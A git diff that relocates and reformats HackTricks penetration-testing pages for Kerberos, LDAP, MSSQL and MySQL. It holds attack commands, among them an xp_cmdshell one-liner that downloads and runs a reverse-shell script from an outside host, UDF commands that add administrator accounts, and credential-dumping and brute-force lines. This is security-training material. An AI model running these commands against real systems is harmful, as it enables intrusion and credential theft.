+## Basic Information -# Basic Information - -Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access. +Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access.\ Kerberos is used in Active Directory. In this platform, Kerberos provides information about the privileges of each user, but it is responsability of each service to determine if the user has access to its resources. **Default Port:** 88/tcp/udp -```text +``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -## **To learn how to abuse Kerberos you should read the post about** [**Active Directory**](../../windows/active-directory-methodology/)**.** +### **To learn how to abuse Kerberos you should read the post about** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.** -# More +## More -## Shodan +### Shodan * `port:88 kerberos` -## MS14-068 +### MS14-068 -Simply stated, the vulnerability enables an attacker to modify an existing, valid, domain user logon token \(Kerberos Ticket Granting Ticket, TGT, ticket\) by adding the false statement that the user is a member of Domain Admins \(or other sensitive group\) and the Domain Controller \(DC\) will validate that \(false\) claim enabling attacker improper access to any domain \(in the AD forest\) resource on the network. +Simply stated, the vulnerability enables an attacker to modify an existing, valid, domain user logon token (Kerberos Ticket Granting Ticket, TGT, ticket) by adding the false statement that the user is a member of Domain Admins (or other sensitive group) and the Domain Controller (DC) will validate that (false) claim enabling attacker improper access to any domain (in the AD forest) resource on the network. -{% embed url="https://adsecurity.org/?p=541" caption="" %} +{% embed url="https://adsecurity.org/?p=541" %} Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Port_Number: 88 #Comma separated if there is more than one. Protocol_Description: AD Domain Authentication #Protocol Abbreviation Spelled out @@ -77,8 +76,6 @@ Entry_4: Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs ``` - -
Support HackTricks and get benefits! @@ -94,5 +91,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md b/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md similarity index 100% rename from pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md rename to network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md diff --git a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md similarity index 100% rename from pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md rename to network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md diff --git a/pentesting/pentesting-ldap.md b/network-services-pentesting/pentesting-ldap.md similarity index 96% rename from pentesting/pentesting-ldap.md rename to network-services-pentesting/pentesting-ldap.md index 4b36c3d5..c3fe1079 100644 --- a/pentesting/pentesting-ldap.md +++ b/network-services-pentesting/pentesting-ldap.md @@ -1,4 +1,4 @@ - +# 389, 636, 3268, 3269 - Pentesting LDAP
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) @@ -41,7 +40,7 @@ PORT STATE SERVICE REASON 636/tcp open tcpwrapped ``` -## LDAP Data Interchange Format +### LDAP Data Interchange Format LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename). @@ -79,9 +78,9 @@ phone: 23627387495 * Lines 10-16 define 2 organizational units: dev and sales * Lines 18-26 create an object of the domain and assign attributes with values -# Basic Enumeration +## Basic Enumeration -## Manual +### Manual You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` @@ -122,7 +121,7 @@ True >>> connection.entries ``` -## Automated +### Automated Using this you will be able to see the **public information** (like the domain name)**:** @@ -130,7 +129,7 @@ Using this you will be able to see the **public information** (like the domain n nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` -# Write data +## Write data Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. @@ -147,7 +146,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) -# Clear text credentials +## Clear text credentials If LDAP is used without SSL you can **sniff credentials in plain text** in the network. @@ -155,7 +154,7 @@ Also, you can perform a **MITM** attack in the network **between the LDAP server **If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. -# Valid Credentials +## Valid Credentials If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using: @@ -166,11 +165,11 @@ pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` -## [Brute Force](../brute-force.md#ldap) +### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) -## Manual +### Manual -### ldapsearch +#### ldapsearch Check null credentials or if your credentials are valid: @@ -257,7 +256,7 @@ To see if you have access to any password you can use grep after executing one o Please, notice that the passwords that you can find here could not be the real ones... -### pbis +#### pbis You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\ **Pbis** allow you to get basic information easily: @@ -306,13 +305,13 @@ You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/] done ``` -# Graphical Interface +## Graphical Interface -## Apache Directory +### Apache Directory [**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). -## jxplorer +### jxplorer You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) @@ -320,11 +319,11 @@ By default is is installed in: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22).png>) -# Authentication via kerberos +## Authentication via kerberos Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI` -# POST +## POST If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using: @@ -334,7 +333,7 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural'). -## Configuration Files +### Configuration Files * General * containers.ldif @@ -349,15 +348,15 @@ You can feed john with the password hash (from '{SSHA}' to 'structural' without * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 - * nsslapd.sas_at.conf - * nsslapd.sas_oc.conf + * nsslapd.sas\_at.conf + * nsslapd.sas\_oc.conf * OpenLDAP directory server - * slapd.sas_at.conf - * slapd.sas_oc.conf + * slapd.sas\_at.conf + * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. @@ -398,7 +397,6 @@ Entry_6: Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ``` -
Support HackTricks and get benefits! @@ -414,5 +412,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-modbus.md b/network-services-pentesting/pentesting-modbus.md similarity index 100% rename from pentesting/pentesting-modbus.md rename to network-services-pentesting/pentesting-modbus.md diff --git a/pentesting/pentesting-mssql-microsoft-sql-server.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server.md similarity index 92% rename from pentesting/pentesting-mssql-microsoft-sql-server.md rename to network-services-pentesting/pentesting-mssql-microsoft-sql-server.md index 47044421..aa647f49 100644 --- a/pentesting/pentesting-mssql-microsoft-sql-server.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server.md @@ -1,4 +1,4 @@ - +# 1433 - Pentesting MSSQL - Microsoft SQL Server
@@ -16,23 +16,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- {% hint style="warning" %} **Support HackTricks and get benefits!** -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover **The PEASS Family**, our collection of exclusive **NFTs** Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -# Basic Information +## Basic Information **Microsoft SQL Server** is a [relational database management system](https://en.wikipedia.org/wiki/Relational\_database\_management\_system) developed by [Microsoft](https://en.wikipedia.org/wiki/Microsoft). As a [database server](https://en.wikipedia.org/wiki/Database\_server), it is a [software product](https://en.wikipedia.org/wiki/Software\_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software\_application)—which may run either on the same computer or on another computer across a network (including the Internet).\ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server). @@ -51,9 +49,9 @@ nmap --script-help "*ms* and *sql*" msf> search mssql ``` -# Information +## Information -## **Default MS-SQL System Tables** +### **Default MS-SQL System Tables** * **master Database** : Records all the system-level information for an instance of SQL Server. * **msdb Database** : Is used by SQL Server Agent for scheduling alerts and jobs. @@ -61,7 +59,7 @@ msf> search mssql * **Resource Database** : Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database. * **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets. -# Info Gathering +## Info Gathering If you don't know nothing about the service: @@ -72,7 +70,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping If you **don't** **have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username. -## Metasploit +### Metasploit ```bash #Set USERNAME, RHOSTS and PASSWORD @@ -106,11 +104,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload msf> use windows/manage/mssql_local_auth_bypass ``` -## [**Brute force**](../brute-force.md#sql-server) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#sql-server) -# Tricks +## Tricks -## Execute commands +### Execute commands ```bash #Username + Password + CMD command @@ -131,7 +129,7 @@ EXEC master..xp_cmdshell 'whoami' ‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ — ``` -## NTLM Service Hash gathering +### NTLM Service Hash gathering [You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/)\ You should start a **SMB server** to capture the hash used in the authentication (impacket-smbserver or responder for example). @@ -142,11 +140,11 @@ exec master.dbo.xp_dirtree '\\\any\thing' msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` -## Abusing MSSQL trusted Links +### Abusing MSSQL trusted Links -[**Read this post**](../windows/active-directory-methodology/mssql-trusted-links.md) **to find more information about how to abuse this feature** +[**Read this post**](../windows-hardening/active-directory-methodology/mssql-trusted-links.md) **to find more information about how to abuse this feature** -## **Read files executing scripts (Python and R)** +### **Read files executing scripts (Python and R)** MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands. @@ -170,7 +168,7 @@ print(sys.version) GO ``` -## From db\_owner to sysadmin +### From db\_owner to sysadmin [If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db\_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) @@ -178,7 +176,7 @@ GO msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` -## Impersonation of other users +### Impersonation of other users [IMPERSONATE privilege can lead to privilege escalation in SQL Server.](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/) @@ -186,13 +184,13 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` -## Using MSSQL for Persistence +### Using MSSQL for Persistence [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -# Having credentials +## Having credentials -## Mssqlclient.py +### Mssqlclient.py You can login into the service using **impacket mssqlclient.py** @@ -214,7 +212,7 @@ SQL> xp_cmdshell whoami /all SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' ``` -## sqsh +### sqsh ```bash sqsh -S -U -P -D @@ -222,7 +220,7 @@ sqsh -S -U -P -D ![](<../.gitbook/assets/image (20).png>) -# Manual +## Manual ```sql SELECT name FROM master.dbo.sysdatabases #Get databases @@ -237,16 +235,16 @@ CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' sp_addsrvrolemember 'hacker', 'sysadmin' ``` -# Post Explotation +## Post Explotation The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\ You probably will be able to escalate to Administrator using this token: [Juicy-potato](https://github.com/ohpe/juicy-potato) -# Shodan +## Shodan * `port:1433 !HTTP` -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. @@ -304,7 +302,6 @@ Entry_3: ``` -
Support HackTricks and get benefits! @@ -320,5 +317,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-mysql.md b/network-services-pentesting/pentesting-mysql.md similarity index 55% rename from pentesting/pentesting-mysql.md rename to network-services-pentesting/pentesting-mysql.md index ea68b070..ed5232e3 100644 --- a/pentesting/pentesting-mysql.md +++ b/network-services-pentesting/pentesting-mysql.md @@ -1,4 +1,4 @@ - +# 3306 - Pentesting Mysql
@@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** **MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**).\ -\_**\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/). +\_\*\*\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/). **Default port:** 3306 @@ -28,23 +27,23 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) 3306/tcp open mysql ``` -# **Connect** +## **Connect** -## **Local** +### **Local** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -## Remote +### Remote ```bash mysql -h -u root mysql -h -u root@localhost ``` -# Enumeration +## Enumeration Some of the enumeration actions require valid credentials @@ -58,16 +57,16 @@ msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -[**Brute force**](../brute-force.md#mysql) +[**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql) -# Write any binary data +## Write any binary data ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -# **Basic & interesting MySQL commands** +## **Basic & interesting MySQL commands** ```bash show databases; @@ -106,7 +105,7 @@ mysql -u username -p < manycommands.sql #A file with all the commands you want t mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -# MySQL arbitrary read file by client +## MySQL arbitrary read file by client Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\ Please notice that this is the behaviour using: @@ -128,9 +127,9 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) -# POST +## POST -## Mysql User +### Mysql User It will be very interesting if mysql is running as **root**: @@ -138,7 +137,7 @@ It will be very interesting if mysql is running as **root**: cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" ``` -## Privilege escalation +### Privilege escalation How to: @@ -155,11 +154,11 @@ How to: * mysql> `\! cat /etc/passwd` * mysql> `\! bash` -## Privilege Escalation via library +### Privilege Escalation via library You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host. -### Linux +#### Linux ```sql use mysql; @@ -170,7 +169,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; select sys_exec('id > /tmp/out.txt'); ``` -### Windows +#### Windows ```sql USE mysql; @@ -182,7 +181,7 @@ SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -## Extracting MySQL credentials from the database +### Extracting MySQL credentials from the database ```sql SELECT User,Host,Password FROM mysql.user; @@ -193,7 +192,7 @@ SELECT User,Host,authentication_string FROM mysql.user; mysql -u root --password= -e "SELECT User,Host,authentication_string FROM mysql.user;" ``` -## Extracting MySQL credentials from files +### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** @@ -211,23 +210,22 @@ You can extract them doing: grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -## Enabling logging +### Enabling logging You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: ![](<../.gitbook/assets/image (277).png>) -## Useful files +### Useful files Configuration Files -* windows - * - * config.ini - * my.ini - * windows\my.ini - * winnt\my.ini - * \/mysql/data/ +* windows \* + * config.ini + * my.ini + * windows\my.ini + * winnt\my.ini + * \/mysql/data/ * unix * my.cnf * /etc/my.cnf @@ -242,327 +240,327 @@ Configuration Files * update.log * common.log -# Default MySQL Database/Tables +## Default MySQL Database/Tables {% tabs %} {% tab title="information_schema" %} -ALL_PLUGINS\ -APPLICABLE_ROLES\ -CHARACTER_SETS\ -CHECK_CONSTRAINTS\ +ALL\_PLUGINS\ +APPLICABLE\_ROLES\ +CHARACTER\_SETS\ +CHECK\_CONSTRAINTS\ COLLATIONS\ -COLLATION_CHARACTER_SET_APPLICABILITY\ +COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ -COLUMN_PRIVILEGES\ -ENABLED_ROLES\ +COLUMN\_PRIVILEGES\ +ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ -GLOBAL_STATUS\ -GLOBAL_VARIABLES\ -KEY_COLUMN_USAGE\ -KEY_CACHES\ -OPTIMIZER_TRACE\ +GLOBAL\_STATUS\ +GLOBAL\_VARIABLES\ +KEY\_COLUMN\_USAGE\ +KEY\_CACHES\ +OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ -REFERENTIAL_CONSTRAINTS\ +REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ -SCHEMA_PRIVILEGES\ -SESSION_STATUS\ -SESSION_VARIABLES\ +SCHEMA\_PRIVILEGES\ +SESSION\_STATUS\ +SESSION\_VARIABLES\ STATISTICS\ -SYSTEM_VARIABLES\ +SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ -TABLE_CONSTRAINTS\ -TABLE_PRIVILEGES\ +TABLE\_CONSTRAINTS\ +TABLE\_PRIVILEGES\ TRIGGERS\ -USER_PRIVILEGES\ +USER\_PRIVILEGES\ VIEWS\ -INNODB_LOCKS\ -INNODB_TRX\ -INNODB_SYS_DATAFILES\ -INNODB_FT_CONFIG\ -INNODB_SYS_VIRTUAL\ -INNODB_CMP\ -INNODB_FT_BEING_DELETED\ -INNODB_CMP_RESET\ -INNODB_CMP_PER_INDEX\ -INNODB_CMPMEM_RESET\ -INNODB_FT_DELETED\ -INNODB_BUFFER_PAGE_LRU\ -INNODB_LOCK_WAITS\ -INNODB_TEMP_TABLE_INFO\ -INNODB_SYS_INDEXES\ -INNODB_SYS_TABLES\ -INNODB_SYS_FIELDS\ -INNODB_CMP_PER_INDEX_RESET\ -INNODB_BUFFER_PAGE\ -INNODB_FT_DEFAULT_STOPWORD\ -INNODB_FT_INDEX_TABLE\ -INNODB_FT_INDEX_CACHE\ -INNODB_SYS_TABLESPACES\ -INNODB_METRICS\ -INNODB_SYS_FOREIGN_COLS\ -INNODB_CMPMEM\ -INNODB_BUFFER_POOL_STATS\ -INNODB_SYS_COLUMNS\ -INNODB_SYS_FOREIGN\ -INNODB_SYS_TABLESTATS\ -GEOMETRY_COLUMNS\ -SPATIAL_REF_SYS\ -CLIENT_STATISTICS\ -INDEX_STATISTICS\ -USER_STATISTICS\ -INNODB_MUTEXES\ -TABLE_STATISTICS\ -INNODB_TABLESPACES_ENCRYPTION\ -user_variables\ -INNODB_TABLESPACES_SCRUBBING\ -INNODB_SYS_SEMAPHORE_WAITS +INNODB\_LOCKS\ +INNODB\_TRX\ +INNODB\_SYS\_DATAFILES\ +INNODB\_FT\_CONFIG\ +INNODB\_SYS\_VIRTUAL\ +INNODB\_CMP\ +INNODB\_FT\_BEING\_DELETED\ +INNODB\_CMP\_RESET\ +INNODB\_CMP\_PER\_INDEX\ +INNODB\_CMPMEM\_RESET\ +INNODB\_FT\_DELETED\ +INNODB\_BUFFER\_PAGE\_LRU\ +INNODB\_LOCK\_WAITS\ +INNODB\_TEMP\_TABLE\_INFO\ +INNODB\_SYS\_INDEXES\ +INNODB\_SYS\_TABLES\ +INNODB\_SYS\_FIELDS\ +INNODB\_CMP\_PER\_INDEX\_RESET\ +INNODB\_BUFFER\_PAGE\ +INNODB\_FT\_DEFAULT\_STOPWORD\ +INNODB\_FT\_INDEX\_TABLE\ +INNODB\_FT\_INDEX\_CACHE\ +INNODB\_SYS\_TABLESPACES\ +INNODB\_METRICS\ +INNODB\_SYS\_FOREIGN\_COLS\ +INNODB\_CMPMEM\ +INNODB\_BUFFER\_POOL\_STATS\ +INNODB\_SYS\_COLUMNS\ +INNODB\_SYS\_FOREIGN\ +INNODB\_SYS\_TABLESTATS\ +GEOMETRY\_COLUMNS\ +SPATIAL\_REF\_SYS\ +CLIENT\_STATISTICS\ +INDEX\_STATISTICS\ +USER\_STATISTICS\ +INNODB\_MUTEXES\ +TABLE\_STATISTICS\ +INNODB\_TABLESPACES\_ENCRYPTION\ +user\_variables\ +INNODB\_TABLESPACES\_SCRUBBING\ +INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} -columns_priv\ -column_stats\ +columns\_priv\ +column\_stats\ db\ -engine_cost\ +engine\_cost\ event\ func\ -general_log\ -gtid_executed\ -gtid_slave_pos\ -help_category\ -help_keyword\ -help_relation\ -help_topic\ +general\_log\ +gtid\_executed\ +gtid\_slave\_pos\ +help\_category\ +help\_keyword\ +help\_relation\ +help\_topic\ host\ -index_stats\ -innodb_index_stats\ -innodb_table_stats\ -ndb_binlog_index\ +index\_stats\ +innodb\_index\_stats\ +innodb\_table\_stats\ +ndb\_binlog\_index\ plugin\ proc\ -procs_priv\ -proxies_priv\ -roles_mapping\ -server_cost\ +procs\_priv\ +proxies\_priv\ +roles\_mapping\ +server\_cost\ servers\ -slave_master_info\ -slave_relay_log_info\ -slave_worker_info\ -slow_log\ -tables_priv\ -table_stats\ -time_zone\ -time_zone_leap_second\ -time_zone_name\ -time_zone_transition\ -time_zone_transition_type\ -transaction_registry\ +slave\_master\_info\ +slave\_relay\_log\_info\ +slave\_worker\_info\ +slow\_log\ +tables\_priv\ +table\_stats\ +time\_zone\ +time\_zone\_leap\_second\ +time\_zone\_name\ +time\_zone\_transition\ +time\_zone\_transition\_type\ +transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ -cond_instances\ -events_stages_current\ -events_stages_history\ -events_stages_history_long\ -events_stages_summary_by_account_by_event_name\ -events_stages_summary_by_host_by_event_name\ -events_stages_summary_by_thread_by_event_name\ -events_stages_summary_by_user_by_event_name\ -events_stages_summary_global_by_event_name\ -events_statements_current\ -events_statements_history\ -events_statements_history_long\ -events_statements_summary_by_account_by_event_name\ -events_statements_summary_by_digest\ -events_statements_summary_by_host_by_event_name\ -events_statements_summary_by_program\ -events_statements_summary_by_thread_by_event_name\ -events_statements_summary_by_user_by_event_name\ -events_statements_summary_global_by_event_name\ -events_transactions_current\ -events_transactions_history\ -events_transactions_history_long\ -events_transactions_summary_by_account_by_event_name\ -events_transactions_summary_by_host_by_event_name\ -events_transactions_summary_by_thread_by_event_name\ -events_transactions_summary_by_user_by_event_name\ -events_transactions_summary_global_by_event_name\ -events_waits_current\ -events_waits_history\ -events_waits_history_long\ -events_waits_summary_by_account_by_event_name\ -events_waits_summary_by_host_by_event_name\ -events_waits_summary_by_instance\ -events_waits_summary_by_thread_by_event_name\ -events_waits_summary_by_user_by_event_name\ -events_waits_summary_global_by_event_name\ -file_instances\ -file_summary_by_event_name\ -file_summary_by_instance\ -global_status\ -global_variables\ -host_cache\ +cond\_instances\ +events\_stages\_current\ +events\_stages\_history\ +events\_stages\_history\_long\ +events\_stages\_summary\_by\_account\_by\_event\_name\ +events\_stages\_summary\_by\_host\_by\_event\_name\ +events\_stages\_summary\_by\_thread\_by\_event\_name\ +events\_stages\_summary\_by\_user\_by\_event\_name\ +events\_stages\_summary\_global\_by\_event\_name\ +events\_statements\_current\ +events\_statements\_history\ +events\_statements\_history\_long\ +events\_statements\_summary\_by\_account\_by\_event\_name\ +events\_statements\_summary\_by\_digest\ +events\_statements\_summary\_by\_host\_by\_event\_name\ +events\_statements\_summary\_by\_program\ +events\_statements\_summary\_by\_thread\_by\_event\_name\ +events\_statements\_summary\_by\_user\_by\_event\_name\ +events\_statements\_summary\_global\_by\_event\_name\ +events\_transactions\_current\ +events\_transactions\_history\ +events\_transactions\_history\_long\ +events\_transactions\_summary\_by\_account\_by\_event\_name\ +events\_transactions\_summary\_by\_host\_by\_event\_name\ +events\_transactions\_summary\_by\_thread\_by\_event\_name\ +events\_transactions\_summary\_by\_user\_by\_event\_name\ +events\_transactions\_summary\_global\_by\_event\_name\ +events\_waits\_current\ +events\_waits\_history\ +events\_waits\_history\_long\ +events\_waits\_summary\_by\_account\_by\_event\_name\ +events\_waits\_summary\_by\_host\_by\_event\_name\ +events\_waits\_summary\_by\_instance\ +events\_waits\_summary\_by\_thread\_by\_event\_name\ +events\_waits\_summary\_by\_user\_by\_event\_name\ +events\_waits\_summary\_global\_by\_event\_name\ +file\_instances\ +file\_summary\_by\_event\_name\ +file\_summary\_by\_instance\ +global\_status\ +global\_variables\ +host\_cache\ hosts\ -memory_summary_by_account_by_event_name\ -memory_summary_by_host_by_event_name\ -memory_summary_by_thread_by_event_name\ -memory_summary_by_user_by_event_name\ -memory_summary_global_by_event_name\ -metadata_locks\ -mutex_instances\ -objects_summary_global_by_type\ -performance_timers\ -prepared_statements_instances\ -replication_applier_configuration\ -replication_applier_status\ -replication_applier_status_by_coordinator\ -replication_applier_status_by_worker\ -replication_connection_configuration\ -replication_connection_status\ -replication_group_member_stats\ -replication_group_members\ -rwlock_instances\ -session_account_connect_attrs\ -session_connect_attrs\ -session_status\ -session_variables\ -setup_actors\ -setup_consumers\ -setup_instruments\ -setup_objects\ -setup_timers\ 